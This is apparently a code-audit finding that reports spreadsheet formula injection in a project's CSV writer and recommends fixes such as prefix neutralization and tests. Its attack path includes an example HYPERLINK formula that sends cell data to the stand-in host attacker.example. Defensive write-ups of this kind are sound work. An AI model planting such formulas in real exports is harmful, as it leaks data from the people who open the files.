T09 · Insecure Skill Coding Practices
Warning
- Location
- src/utils/excel.js:31
- Finding
- Spreadsheet Formula Injection in Generated CSV Files<![CDATA[ ## Vulnerability Details **File Location**: `src/utils/excel.js:31-41` **Vulnerability Type**: CSV/spreadsheet formula injection **Risk Level**: Medium ### Vulnerable Code ```js const headerLine = headers.map(h => h.title).join(','); fs.writeFileSync(filePath, '\uFEFF' + headerLine + '\n', 'utf-8'); // 追加数据行(所有字段统一加双引号,避免逗号/换行/中文引号导致列错位) if (records.length > 0) { const dataLines = records.map(r => { return headers.map(h => { const val = r[h.id] == null ? '' : String(r[h.id]); return `"${val.replace(/"/g, '""')}"`; }).join(','); }).join('\n'); fs.appendFileSync(filePath, dataLines + '\n', 'utf-8'); } ``` ### Technical Analysis The CSV writer escapes quotation marks and surrounds every value with double quotes, but it does not neutralize spreadsheet formula prefixes. Spreadsheet applications may interpret a cell as a formula when its value begins with `=`, `+`, `-`, or `@`, including when the value is quoted in a CSV file. Leading tab or carriage-return characters can also be used to bypass simplistic prefix checks. The affected records may contain data derived from scraped Tianyancha pages, imported third-party spreadsheets, and LLM-generated fields. For example, `src/extract_cases.js:471-493` assigns LLM output directly to record fields that are subsequently passed to `writeCsv()`. The documented workflow instructs researchers to open and manually review generated CSV files. Consequently, this issue crosses a trust boundary from untrusted web or model content into spreadsheet software. ### Attack Path 1. An attacker places a formula-like string in a bidding announcement or another imported source field, such as: `=HYPERLINK("https://attacker.example/collect?data="&A1,"Open")` 2. The crawler imports that text, or the LLM reproduces it in a structured output field. 3. The affected value is written to `extract_results.csv`, `review_sheet.csv`, an ingestion CSV, or another generated CSV. 4. `writeCsv()` quotes the v ...[truncated 1071 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Neutralize every exported string whose first non-whitespace character is `=`, `+`, `-`, or `@`. 2. Also account for leading tab, carriage-return, newline, and other control characters that spreadsheet applications may ignore before formula evaluation. 3. Prefix dangerous values with an apostrophe before CSV escaping, or use a trusted export library with explicit spreadsheet-formula protection. 4. Apply the protection consistently to CSV headers and data values. 5. Preserve raw evidence separately if exact source text is required, but never place an unsafe raw value directly into a spreadsheet-oriented export. 6. Add automated tests covering values such as: - `=HYPERLINK(...)` - `+SUM(1,1)` - `-1+1` - `@SUM(1,1)` - A formula preceded by tab or carriage return 7. Document that previously generated CSV files should be treated as untrusted and regenerated after the fix. A suitable hardening helper would inspect the normalized prefix before applying ordinary CSV quotation escaping. ]]>
